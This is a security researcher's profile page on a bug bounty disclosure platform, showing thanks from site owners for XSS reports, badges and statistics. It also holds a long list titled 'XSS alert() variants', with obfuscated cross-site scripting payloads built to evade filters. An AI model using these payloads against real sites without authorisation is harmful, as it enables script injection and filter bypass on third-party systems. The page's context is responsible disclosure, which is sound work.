Report a Vulnerability
Submit, help fixing, get kudos.
Start a Bug Bounty
Run your bounty program for free.
531,338 coordinated disclosures
287,336 fixed vulnerabilities
732 bug bounties with 1,447 websites
14,883 researchers, 1070 honor badges

Gh05tPT Top Security Researcher of the Month Top VIP Security Researcher of the Month

Twitter: @Gh05tPT

Recommendations and Acknowledgements

    11 February, 2020
     CMS4BB Mark from CESA 6:
Gh05tPT found an XSS vulnerability, provided us the information necessary in order to patch the vulnerability. Thanks for your assistance!
    15 January, 2020
     install28398408 evg from kuli:
thanks for Notification!
    4 December, 2019
     lbl_jd Jeff Anderson from LBNL:
Gh05tPT found a XSS vulnerability on our site which I was able to fix quite quickly. Thanks for your help.
    25 November, 2019
     Derek_Ortiz Derek from Revize:
Thanks for the XSS report. We should be able to get the issue fixed next patch.
    13 November, 2019
     ContatoFAME Alexandre from DNOCS:
Thanks for the details about the failure found on one of our sites.
    12 November, 2019
     arthurebel Arthur from University Of Technology of Troyes:
Thank you for your help, for the detail of XSS vulnerabilty. Much appreciate.
    12 November, 2019
     koichiendor koichiendor from ADMINA:
Thanks for reporting XSS issue on my site. Clear report, helpful support. :)
    29 October, 2019
     dialbuquerque Diego Albuquerque from CNMP:
O Gh05tPT reportou uma vulnerabilidade em um sistema do órgão em que trabalho e nos ajudou a solucioná-la logo no primeiro contato. Muito obrigado.
    16 October, 2019
     TravisSwaim T. Swaim from Earth System Science Interdisciplinary Center - UMD:
Was very easy to contact Gh05tPT and get the information needed to help fix the vulnerability found on our website. Wonderful security researcher to deal with and I'm glad that people like this exist to help make the internet a more secure and safe place.
    20 September, 2019
     ChipZ_de Andreas from MEHRKANAL:
Gh05tPT has found an XSS vulnerability on one of our pages.

He is very helpful and responded very quickly. I really appreciate it. Thank you very much.

Shows the first 10 recommendations. See all.

Please login via Twitter to add a recommendation

Honor Badges

Number of Secured Websites

10+ Websites
50+ Websites
500+ Websites
1000+ Websites

Advanced Security Research

WAF Bypasser
CSRF Master
30+ Reports
AppSec Logic Master
30+ Reports
Fastest Fix
Fix in 24 hours

Outstanding Achievements

Secured OBB
OBB Advocate
Improved OBB

Commitment to Remediate and Patch

Patch Master
55% Patched
Patch Guru
65% Patched
Patch Lord
75% Patched

Recommendations and Recognition

10+ Recommends
25+ Recommends
50+ Recommends

Distinguished Blog Author

1 Post
3 Posts
5+ Posts

Research Statistics

Total reports:21148
Total reports on VIP sites:482
Total patched vulnerabilities:6335
Total vulnerabilities on Hold (Open Bug Bounty):1273
Recommendations received:46
Active since:05.04.2018
Top Security Researcher Awards: Top Security Researcher of the Month Top Security Researcher of the Month Top Security Researcher of the Month Top Security Researcher of the Month Top Security Researcher of the Month Top Security Researcher of the Month Top Security Researcher of the Month Top Security Researcher of the Month Top Security Researcher of the Month
Top VIP Security Researcher Awards: Top VIP Security Researcher of the Month Top VIP Security Researcher of the Week

Open Bug Bounty Certificate

04.04.2019  XSS alert() variants

<script>var fn=window[490837..toString(1<<5)]; fn(atob('YWxlcnQoMSk='));</script>
<script>var fn=window[String.fromCharCode(101,118,97,108)]; fn(atob('YWxlcnQoMSk='));</script>
<script>var fn=window[atob('ZXZhbA==')];fn(atob('YWxlcnQoMSk=')); </script>
<script>window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script> <script>this[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script> <script>this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](++[[]][+[]])</script> <script>this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))</script>
<script>'str1ng'.replace(/1/,alert)</script> <script>'bbbalert(1)cccc'.replace(/a\w{4}\(\d\)/,eval)</script> <script>'a1l2e3r4t6'.replace(/(.).(.).(.).(.).(.)/,function(match,$1,$2,$3,$4,$5) { this[$1+$2+$3+$4+$5](1); })</script>
<script>eval('\\u'+'0061'+'lert(1)')</script> <script>throw~delete~typeof~prompt(1)</script> <script>delete[a=alert]/prompt a(1)</script> <script>delete[a=this[atob('YWxlcnQ=')]]/prompt a(1)</script> <script>(()=>{return this})().alert(1)</script>
<script>new function(){'alert(1)')();}</script> <script>Reflect.construct(function(){'alert(1)')()},[])</script>
<link/rel=prefetch import href=data:q;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg>
<link rel="import" href="data:x,<script>alert(1)</script> <script>Array.from`1${alert}3${window}2`</script>
<script>!{x(){alert(1)}}.x()</script> <script>Array.from`${eval}alert\`1\``</script> <script>Array.from([1],alert)</script> <script>Promise.reject("1").then(null,alert)</script>
<svg </onload ="1> (_=alert,_(1)) "">
<marquee loop=1 width=0 onfinish=alert(1)>
<p onbeforescriptexecute="alert(1)"><svg><script>\</p>
<img onerror=alert(1) src <u></u> <videogt;<source onerror=javascript:prompt(911)gt;
<base target="<script>alert(1)</script>"><a href="javascript:name">CLICK</a>
<base href="javascript:/"><a href="**/alert(1)"><base href="javascript:/"><a href="**/alert(1)">
<style>@KeyFrames x{</style><div style=animation-name:x onanimationstart=alert(1)> <
<script>```${``[class extends[alert``]{}]}```</script> <script>[class extends[alert````]{}]</script>
<script>throw new class extends Function{}('alert(1)')``</script> <script>x=new class extends Function{}('alert(1)'); x=new x;</script> <script>new class extends alert(1){}</script>
<script>new class extends class extends class extends class extends alert(1){}{}{}{}</script>
<script>new Image()[unescape('%6f%77%6e%65%72%44%6f%63%75%6d%65%6e%74')][atob('ZGVmYXVsdFZpZXc=')][8680439..toString(30)](1)</script> <script src=data:,\u006fnerror=\u0061lert(1)></script>
"><svg><script/xlink:href="data:,alert(1) <svg><script/xlink:href=data:,alert(1)></script> <frameset/onpageshow=alert(1)>
<div onactivate=alert('Xss') id=xss style=overflow:scroll>
<div onfocus=alert('xx') id=xss style=display:table>

Reported Vulnerabilities

All Submissions VIP SubmissionsFeatured Submissions

Domain Reported Status Type

  Latest Patched


  Latest Blog Posts

12.03.2020 by Rando02355205
(Paypal) [CSP High Level] - [XSS Reflected] - [Bug Bounty] - [Write Up]
08.03.2020 by CybeReports XSS Vulnerability| CybeReports
29.02.2020 by Rando02355205
(Google) - [Stored XSS] - [Bug Bounty] - [WriteUp] - [24/02/2020]
10.02.2020 by 0xrocky
Stored XSS on
10.02.2020 by ismailtsdln
SQL Injection Payload List

  Recent Recommendations

    30 March, 2020
Thanks to atmon3r I discovered a bug on my website that I had never noticed before and that was there for over 2 years. Also very kind in contacting me via Twitter, otherwise I would never have read about it. Really appreciated!
    30 March, 2020
Thank you for reporting the problem and giving detailed explanations on how we would sort it out.
    27 March, 2020
Very rapid communication and detailed instructions as to how to fix the issue. Thanks for the assistance.
    27 March, 2020
r00tpgp reported a serious issue to us and helped us with reproducing the issue and pushing towards a fix for the problem.
Thank you very much for the great work!
    27 March, 2020
Thanks for your report. With your help we could find the bug and make our Website safer!

roker is a friendly Security Resercher who is answering very fast to mails!